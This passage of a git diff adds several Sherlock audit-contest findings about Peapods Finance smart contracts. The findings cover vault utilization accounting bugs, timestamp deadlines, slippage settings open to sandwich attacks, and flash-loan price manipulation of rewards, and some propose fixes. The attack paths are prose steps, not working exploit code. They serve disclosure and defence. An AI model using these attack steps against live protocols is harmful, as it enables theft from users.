+- New Stake: 500 power (500 * 1x)
+- Total: 2500 power
+```
+
+### Mitigation
+
+Implement stake segmentation to track different stakes separately.
diff --git a/392.md b/392.md
new file mode 100644
index 0000000..b274cd3
--- /dev/null
+++ b/392.md
@@ -0,0 +1,98 @@
+Wonderful Citron Alpaca
+
+Medium
+
+# While `vaultUtilization[_vault]` is 0, CBR is updated although there is no change is the utilization, leading to wrong utilization ratio calculation later.
+
+### Summary
+
+A logic flaw in the `_updateAssetMetadataFromVault` function allows an attacker to manipulate the vault utilization ratio. Specifically, when `vaultUtilization[_vault]` is set to zero, a user can deposit a very small amount to trigger `_updateAssetMetadataFromVault`, updating the `_vaultWhitelistCbr[_vault]`. Later, when `vaultUtilization[_vault]` becomes non-zero again, the utilization ratio calculation is skewed, leading to incorrect vault asset allocation.
+
+
+### Root Cause
+
+There is a case in `_updateAssetMetadataFromVault` function when `vaultUtilization[_vault] = 0`:
+```js
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+
+```
+When `vaultUtilization[_vault] == 0`,`_updateAssetMetadataFromVault` only updates `_vaultWhitelistCbr[_vault]`. And as we can see, the utilization ratio depends on the difference between `_prevVaultCbr` and `_vaultWhitelistCbr[_vault]`:
+```js
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+```
+The problem is if the `_updateAssetMetadataFromVault` is called while `vaultUtilization[_vault] = 0`, `_vaultWhitelistCbr[_vault]` will be periodically updated. Later, when the `_vaultWhitelistCbr[_vault]` is no more 0 and the ratio should be calculated, the difference between `_prevVaultCbr` and `_vaultWhitelistCbr[_vault]` will be much smaller not reflecting the actual ratio.
+
+
+
+### Internal Pre-conditions
+
+The `vaultUtilization[_vault]` should be 0.
+
+### External Pre-conditions
+
+Users need to deposit/withdraw while `vaultUtilization[_vault]` is 0.
+
+### Attack Path
+
+
+- `_vaultWhitelistCbr[_vault] = 100` and `vaultUtilization[_vault]` became 0.
+- User1 deposits and `_updateAssetMetadataFromVault` is called. `_vaultWhitelistCbr[_vault]` is updated to 110, however `vaultUtilization[_vault]` is still zero, so the CBR increase doesn't affect anything.
+- User 2 deposits and `_updateAssetMetadataFromVault` is called. `_vaultWhitelistCbr[_vault]` is updated to 130, but `vaultUtilization[_vault]` is still zero.
+- After more time, `whitelistWithdraw()` is called and `_updateAssetMetadataFromVault` is called. Inside `_updateAssetMetadataFromVault` `_vaultWhitelistCbr[_vault]` is updated to 120 and `vaultUtilization[_vault]` is 0, however in `whitelistWithdraw()`, `vaultUtilization[_vault]` is increased so it is no more 0.
+```js
+ function whitelistWithdraw(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ require(totalAvailableAssetsForVault(_vault) >= _assetAmt, "MAX");
+ vaultDeposits[_vault] += _assetAmt;
+ vaultUtilization[_vault] += _assetAmt;
+ _totalAssetsUtilized += _assetAmt;
+ IERC20(_asset).safeTransfer(_vault, _assetAmt);
+ emit WhitelistWithdraw(_vault, _assetAmt);
+ }
+```
+- User3 deposits and `_updateAssetMetadataFromVault` is called. `_prevVaultCbr` is 120, `_vaultWhitelistCbr` is 115. As `120 > 115`, the ratio change will be calculated as there is a decrease. However, that's not right. This calculation is incorrect because `_prevVaultCbr` should have reflected the last value when `vaultUtilization[_vault]` was non-zero, which was 100.
+
+The changes between 100 and 115 are lost, as the ratio calculation only considers 120 and 115, leading to incorrect utilization adjustments.
+```js
+function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+### Lines of Code
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/LendingAssetVault.sol#L287-L305
+
+### Impact
+
+Incorrect utilization calculations.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/393.md b/393.md
new file mode 100644
index 0000000..3c20d64
--- /dev/null
+++ b/393.md
@@ -0,0 +1,43 @@
+Genuine Carrot Goat
+
+Medium
+
+# Setting the `block.timestamp` as a deadline is dangerous
+
+### Summary
+
+In several places, such as `AutoCompoundingPodLP::deposit()` the deadline chosen to revert the transaction is any `block.timestamp` after the timestamp the transaction was initiated.
+
+This presents a very likely scenario in which periods when network congestion will occur, making it unlikely to execute the tx in the same block it is initiated, thus DoS-ing the protocol in such critical functions
+
+### Root Cause
+
+Setting the deadline as just the `block.timestamp` is an easy way of making your tx revert when there's just little network congestion.
+
+Ideally, it should be `block.timestamp` + 3 minutes or something like that to have it as a deadline, because it will be highly likely that the tx will NOT execute in the same block it was initiated.
+
+### Internal Pre-conditions
+
+Transaction needs to execute at a different block it was initiated
+
+### External Pre-conditions
+
+There should be some network congestion to cause the revert
+
+### Attack Path
+
+1. When price are changing fast, there will be a lot of network congestion, so Bob decides to remove the leverage he has, which will start from `LeverageManager::removeLeverage` going into `DecentralizedIndex::flash()`, then `LeverageManager::callback()` -> `LeverageManager::_removeLeveragePostCallback()` and finally `LeverageManager::_unstakeAndRemoveLP()` that calls `indexUtils.unstakeAndRemoveLP()` with `block.timestamp` as a deadline
+2. Transaction is executed 2 blocks later, which will result in a different `block.timestamp`, thus reverting
+3. Prices drop even more so Bob is forced to take an even bigger loss if he wants to again initiate removing leverage
+
+### Impact
+
+There is possible loss of money due to time sensitive operations due to the DoS, as well as the DoS itself stopping the user from calling certain functions in periods of network congestion.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Set the deadline as the `block.timestamp` plus a small arbitraty time like 2 to 3 minutes.
\ No newline at end of file
diff --git a/394.md b/394.md
new file mode 100644
index 0000000..f624a65
--- /dev/null
+++ b/394.md
@@ -0,0 +1,64 @@
+Nice Lipstick Nightingale
+
+Medium
+
+# Insufficient Liquidity Validation in Position Management
+
+### Summary
+
+*Missing liquidity validation in `_removeCollateralAndRepay` will cause users' funds to be locked as malicious actors will drain lending pair liquidity before large withdrawals, preventing users from accessing their funds and potentially forcing them into liquidation.*
+
+### Root Cause
+
+*In `LeverageManager.sol:_removeCollateralAndRepay()` the function attempts withdrawals without checking available liquidity first:*
+
+```solidity
+function _removeCollateralAndRepay(
+ uint256 _positionId,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin
+) internal returns (uint256 _podAmtReceived, uint256 _pairedAmtReceived) {
+ // CRITICAL: No liquidity check before withdrawal
+ uint256 _spTKNAmtReceived = IERC4626(_getAspTkn(_positionId))
+ .redeem(_collateralAssetRemoveAmt, address(this), address(this));
+ // ...
+}
+```
+
+The function directly attempts to redeem tokens through the ERC4626 interface without first validating if the lending pair has sufficient liquidity to fulfill the withdrawal. This can lead to transaction failures and locked funds when liquidity is insufficient.
+
+### Internal Pre-conditions
+
+1. User needs to have a leveraged position with collateral amount greater than 0
+2. Lending pair utilization needs to be at least 95%
+3. User's withdrawal amount needs to be greater than available liquidity in the lending pair
+4. Position must not be in liquidation state
+
+
+### External Pre-conditions
+
+1. Market conditions cause high utilization in lending pairs
+2. No emergency withdrawal mechanism is active
+3. Lending pair's available liquidity needs to be less than largest position's collateral
+
+
+### Attack Path
+
+1. Attacker monitors for large positions in the protocol
+2. When they identify a target, they borrow heavily from the lending pair to increase utilization
+3. When the target tries to withdraw their collateral, the transaction reverts due to insufficient liquidity
+4. Target's funds remain locked until liquidity returns to the pool
+
+
+### Impact
+
+*Users cannot withdraw their collateral when there is insufficient liquidity in the lending pair. For example, if a user has 100 ETH collateral but the lending pair only has 50 ETH in liquidity, their withdrawal will fail and their funds will be locked until more liquidity becomes available. This can lead to forced liquidations if users can't withdraw to adjust their positions during market volatility.*
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Implement a liquidity check function that verifies the lending pair has sufficient liquidity before attempting withdrawal
\ No newline at end of file
diff --git a/395.md b/395.md
new file mode 100644
index 0000000..34eaa17
--- /dev/null
+++ b/395.md
@@ -0,0 +1,137 @@
+Boxy Charcoal Perch
+
+Medium
+
+# `FraxLendPairCore::_addInterest` incorrectly calculates utilization rate
+
+### Summary
+
+`_addInterest` incorrectly calculates and sets the `_prevUtiliationRate` state variable and as a result breaks the `minimum utilization change` functionality
+
+
+### Root Cause
+
+The Utilization rate is calculated as total_borrows/total_assets in the contract, however,
+In `_addInterest` the utilization rate is calculated as total_borrows/total_assets - total_borrows as seen here:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L442-L458
+```solidity
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+
+ // store the current utilization rate as previous for next check
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);// <@
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ //...SNIP...
+
+}
+
+
+ function _totalAssetAvailable(VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow, bool _includeVault)
+ internal
+ view
+ returns (uint256)
+ {
+ if (_includeVault) {
+ return _totalAsset.totalAmount(address(externalAssetVault)) - _totalBorrow.amount;// <@
+ }
+ return _totalAsset.amount - _totalBorrow.amount;
+ }
+```
+
+
+
+the `totalAssetsAvailble` function returns the total asset in contract plus assets in external vault minus the total borrows
+
+this means that the `_prevUtilizationRate` recorded in `_addInterest` will be significantly larger than the actual utilization rate that will be calculated by the external `addInterest` function as we see here:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L286-L309
+```solidity
+ function addInterest(bool _returnAccounting)
+ external
+ nonReentrant
+ returns (
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo,
+ VaultAccount memory _totalAsset,
+ VaultAccount memory _totalBorrow
+ )
+ {
+ _currentRateInfo = currentRateInfo;
+ // the following checks whether the current utilization rate against the new utilization rate
+ // (including external assets available) exceeds a threshold and only updates interest if so.
+ // With this enabled, it's obviously possible for there to be some level of "unfair" interest
+ // paid by borrowers and/or earned by suppliers, but the idea is this unfairness
+ // should theoretically be negligible within some level of error and therefore it won't matter.
+ // This is in place to support lower gas & more arbitrage volume through the pair since arbitrage
+ // would many times only occur with small changes in asset supply or borrowed positions.
+ uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));// <@
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ //...SNIP...
+}
+```
+
+since the total borrows is not removed from the denominator and as a result the `minimum utilization change` functionality is basically broken because interest will always be calculated/updated whenever the addInterest function is called.
+
+
+### Internal Pre-conditions
+
+Admin sets a reasonable `minURChangeForExternalAddInterest`
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+Medium - Broken functionality, `addInterest` will always calculate new interest rates
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+- uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
++ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+
+ // ...SNIP...
+ }
+```
\ No newline at end of file
diff --git a/396.md b/396.md
new file mode 100644
index 0000000..cb71eb6
--- /dev/null
+++ b/396.md
@@ -0,0 +1,40 @@
+Genuine Carrot Goat
+
+High
+
+# No slippage as a design choice would certainly be prone to bot sandwich attacks
+
+### Summary
+
+In the app's design choice section, the reason that zero slippage was mentioned is due to the protocol's confidence that prices would not that much in order for a bot to snipe the transaction and sandwich attack it (front-run attack).
+
+However, I think that is a very bold and unrealistic claim to say the least, the trades happening in Peapods are certainly bottable because they will be deployed on public chains and not a big price movement is needed for a tx to be profitable via a sandwich attack.
+
+### Root Cause
+
+Setting zero slippage in numerous places in which swaps occur is disastrous and is certainly prone to bot attacks.
+
+### Internal Pre-conditions
+
+Bot sniping the app
+
+### External Pre-conditions
+
+A medium sized traded occuring
+
+### Attack Path
+
+1. A swap is initiated via `TokenRewards::depositFromPairedLPToken()` and inside it `_swapForRewards()` is making a call to a uni v3 pool with zero slippage. Let's say that the trade is going to move the price with 5% due to its size
+2. A bot sees that and sandwiches the trade and makes 3% profit (remember that POOL_FEE is 1% and in order to make sandwich attack, you need to make two trades), thus causing a loss of 3% that could be avoided
+
+### Impact
+
+Loss of funds and remember, there are several functions that have zero slippage, I've listed only one scenario in the attack path, but other functions prone to this are -> `_feeSwap()`, `_tokenToPairedLpToken()` and others.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make it so that there is some slippage, bots will use this opportunity and snipe the application if there's no limit.
\ No newline at end of file
diff --git a/397.md b/397.md
new file mode 100644
index 0000000..869981f
--- /dev/null
+++ b/397.md
@@ -0,0 +1,41 @@
+Genuine Carrot Goat
+
+High
+
+# Swapping `_pairedLpTokenToPodLp()` with a 5% is too much
+
+### Summary
+
+The slippage check is 5% in `_pairedLpTokenToPodLp()`, which is enough for a bot to snipe it and cause a loss to the protocol with 3-5%
+ in a sandwich attack.
+
+### Root Cause
+
+`_pairedLpTokenToPodLp()` uses 5% slippage which in my opinion is too much and is certainly enough for it to be sniped and cause a loss of funds to the protocol. [Here's the slippage setting](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L318-L320) - this is obviously excessive and should be less than 5% in order to ensure manageable losses like 0.2-0.5% and not 5%.
+
+### Internal Pre-conditions
+
+A bot needs to me online to snipe
+
+### External Pre-conditions
+
+Medium sized trades happening
+
+### Attack Path
+
+1. `_pairedLpTokenToPodLp()` is called to initiate the swap between paired token and pod token
+2. Bot sees the opportunity and snipes the transaction moving the price 4.5%
+3. `_pairedLpTokenToPodLp()` is still going to execute, because its tolerance is 5%, but this is enough for a high severity due to Sherlock rules
+4. Trade is executed, but due to the excessive slippage, the trade occured at a loss of between 4 and 4.5%
+
+### Impact
+
+Loss of funds due to the excessive slippage
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Create a more restrictive slippage so that the trade is not profitable for sniping
\ No newline at end of file
diff --git a/398.md b/398.md
new file mode 100644
index 0000000..5154265
--- /dev/null
+++ b/398.md
@@ -0,0 +1,123 @@
+Boxy Charcoal Perch
+
+High
+
+# Decrease in vaults asset/share ratio will lead to incorrect Asset Metadata calculations in `LendingAssetVault`
+
+### Summary
+
+A derease in a vaults asset/share ratio will lead to incorrect asset tracking and loss for `LendingAssetVault` lenders
+
+
+### Root Cause
+
+In `LendingAssetVault::_updateAssetMetadataFromVault`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L287-L305
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+The function calculates the change in asset price in a whitelisted vault and increases or decreases the it's internal accounting of total assets accordingly.
+For clarification, to better understand how it works let's consider 2 cases
+1. where the asset/share ratio increases
+2. where the asset/share ratio decreases.
+
+1. On increase
+
+- previous asset/share ratio of the vault(`_prevVaultCbr`) = 1
+- current asset/share ratio of the vault(`_vaultWhiteListCbr`) = 2
+- `vaultUtilization` = 100 assets
+- `_totalAssetsUtilized` = 200 assets
+- `_totalAssets` = 300 assets
+- `_vaultAssetRatioChange` = (`_vaultWhiteListCbr` / `_prevVaultCbr`) - 1 = 2/1 - 1 = 1 (100% increase in asset share ratio)
+- `_changeUtilizedState` = `_vaultAssetRatioChange` _ `_vaultUtilization` = 1 _ 100 = 100
+- new `_vaultUtilization` = `_vaultUtilization` + `_changeUtilizedState` = 100 + 100 = 200
+- new `_totalAssetsUtilized` = `_totalAssetsUtilized` + `_changeUtilizedState` = 200 + 100 = 300
+- new `_totalAssets` = `_totalAssets` + `_changeUtilizedState` = 300 + 100 = 400
+
+2. On decrease
+
+- previous asset/share ratio of the vault(`_prevVaultCbr`) = 2
+- current asset/share ratio of the vault(`_vaultWhiteListCbr`) = 1
+- `vaultUtilization` = 100 assets
+- `_totalAssetsUtilized` = 200 assets
+- `_totalAssets` = 300 assets
+- `_vaultAssetRatioChange` = (`_prevVaultCbr`/ `_vaultWhiteListCbr`) - 1 = 2/1 - 1 = 1 (calculates as 100% decrease instead of 50%)
+- `_changeUtilizedState` = `_vaultAssetRatioChange` _ `_vaultUtilization` = 1 _ 100 = 100
+- new `_vaultUtilization` = `_vaultUtilization` + `_changeUtilizedState` = 100 - 100 = 0
+- new `_totalAssetsUtilized` = `_totalAssetsUtilized` + `_changeUtilizedState` = 200 - 100 = 100
+- new `_totalAssets` = `_totalAssets` + `_changeUtilizedState` = 300 - 100 = 200
+
+on **Increase** vault asset/share ratio goes from 1 to 2 thats a 100% increase(2x) and the vault utilization doubles as well, however, on **decrease** the vault asset/share ratio goes from 2 to 1 that's a **50% decrease** the vault utilization should be halved instead its 0!
+
+This shows that whenever there's a decrease in asset/share ratio of a whitelisted vault the asset tracking data will be updated incorrectly leading to a loss of funds and a loss for lenders of the LendingAssetVault.
+
+
+### Internal Pre-conditions
+
+A decrease in the asset/share ratio of a whitelisted vault, one way this can occur is as a result of liquidating bad debt since whitelisted vaults are fraxLend lending vaults
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+High - loss of funds and loss for lenders
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+For decrease in asset/share ratio (when `_vaultWhiteListCbr` < `_prevVaultCbr`) `_vaultAssetRatioChange` should be calculated as : 1 - (`_vaultWhiteListCbr` / `_prevVaultCbr`)
+
+```diff
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);//1 * totalAssets/totalShares
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+- ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
++ ? PRECISION - ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr)
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];//total assets in vault say 1000
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;//1000 * 25% = 250
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;//1000 + 250 = 1250
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
\ No newline at end of file
diff --git a/399.md b/399.md
new file mode 100644
index 0000000..fe3a7a7
--- /dev/null
+++ b/399.md
@@ -0,0 +1,65 @@
+Nice Lipstick Nightingale
+
+High
+
+# Price Manipulation Vulnerability in `TokenRewards` Contract
+
+### Summary
+
+Missing price manipulation protection in `depositFromPairedLpToken` will cause excessive rewards to be minted for attackers as they will manipulate the pool price through flash loans to artificially increase their reward allocation.*Malicious actors will steal rewards from legitimate users through price manipulation*
+
+
+### Root Cause
+
+*In `TokenRewards.sol:depositFromPairedLpToken()` the reward calculation uses the current pool price without any manipulation protection:*
+
+```solidity
+function depositFromPairedLpToken(uint256 _amountTknDepositing) public override {
+ uint160 _rewardsSqrtPriceX96 = V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_pool);
+ uint256 _rewardsPriceX96 = V3_TWAP_UTILS.priceX96FromSqrtPriceX96(_rewardsSqrtPriceX96);
+ uint256 _amountOut = _token0 == PAIRED_LP_TOKEN
+ ? (_rewardsPriceX96 * _amountTkn) / FixedPoint96.Q96
+ : (_amountTkn * FixedPoint96.Q96) / _rewardsPriceX96;
+}
+```
+[`TokenRewards.sol:depositFromPairedLpToken()`](https://github.com/peapods/contracts/blob/main/contracts/TokenRewards.sol#L141-L146)
+
+the vulnerabilities in its price calculation mechanism. First, it relies on the current spot price from the Uniswap V3 pool without implementing a Time-Weighted Average Price (TWAP). This makes it susceptible to price manipulation through large trades, as the spot price can be significantly moved within a single block.
+
+The price calculation also lacks any minimum timeframe requirement for the interval between price checks. An attacker can execute their entire attack within a single block, manipulating the price and claiming rewards before the price can stabilize. This is particularly dangerous as it allows for atomic flash loan attacks where the price is manipulated and exploited in the same transaction.
+the contract has no protection against flash loan attacks. Without implementing checks for price impact or minimum holding periods, an attacker can borrow a large amount of tokens, manipulate the pool price, claim inflated rewards, and repay the loan all in a single atomic transaction. This makes the attack virtually risk-free for the attacker while causing significant damage to the protocol.
+
+### Internal Pre-conditions
+
+1. Protocol have rewards available for distribution
+2. `rewards token` price needs to be different from `PAIRED_LP_TOKEN` price
+
+
+### External Pre-conditions
+
+1. Flash loan providers need to have sufficient liquidity
+2. Pool needs to have enough liquidity to execute large swaps
+3. Gas price needs to be low enough to make the attack profitable we have Arbitrum.
+
+### Attack Path
+
+1. The attacker takes a flash loan of a large amount of tokens
+2. Executes a swap to manipulate the pool price significantly
+3. Calls `depositFromPairedLpToken` with a small amount while the price is manipulated
+4. Receives excessive rewards due to manipulated price calculation
+5. Swaps rewards for original tokens and repays flash loan
+6. Keeps profit from the excess rewards
+
+### Impact
+
+ users suffer dilution of their rewards as attackers can extract excessive rewards through price manipulation. For example, if an attacker manipulates the price by 2x through a flash loan, they can extract twice the normal rewards for their deposit amount. This directly reduces the rewards available for legitimate users and can lead to significant protocol fund loss over time.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+1. Implement mandatory TWAP for price calculations with a minimum timeframe
+2. Add price impact checks to prevent large price manipulations
+3. Implement flash loan protection through minimum holding periods
diff --git a/400.md b/400.md
new file mode 100644
index 0000000..41f3c1c
--- /dev/null
+++ b/400.md
@@ -0,0 +1,109 @@
+Boxy Charcoal Perch
+
+Medium
+
+# Incorrect slippage calculations in `Zapper::_swapV3Single` under certain conditions
+
+### Summary
+
+`Zapper::_swapV3Single` applies slippage to user provided minimum amount as well ,leading to a bigger slippage margin than specified by the user which can result in a loss of funds.
+
+
+### Root Cause
+
+In `Zapper::_swapV3Single`
+when the user does not provide a slippage amount(`_amountOutMin == 0`) the function calculates the expected amountOut using the pool price and calculates slippage amount using the confogured pool slippage % or the default slippage % if not configured.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L154-L180
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) { //<@
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+ _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this) // <@
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+The issue is that when the user provides a slippage amount(`_amountOutMin > 0`) the function still applies the configured pool slippage % or the default to the user provided slippage amount, leading to a bigger slippage margin than specified by the user. The call path to `_swapV3Single` is as follows: `IndexUtils::addLpAndStake` -> `Zapper::_zap` (when providedPairedToken != pairedToken of the pod) -> `Zapper::_swapV3Single`.
+
+As a result the swap amount out can be less than the `_amountOutMin` provided by caller and also increases the users exposure to arbitrage sandwich attacks.
+
+
+### Internal Pre-conditions
+
+user calls `IndexUtils::addLpAndStake` with `_amountPairedLpTokenMin` > 0
+
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+Medium - possible loss of funds for the user
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
++ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
++ _amountOutMin = (_amountOutMin * (1000 - _finalSlip)) / 1000;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+- uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+- _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
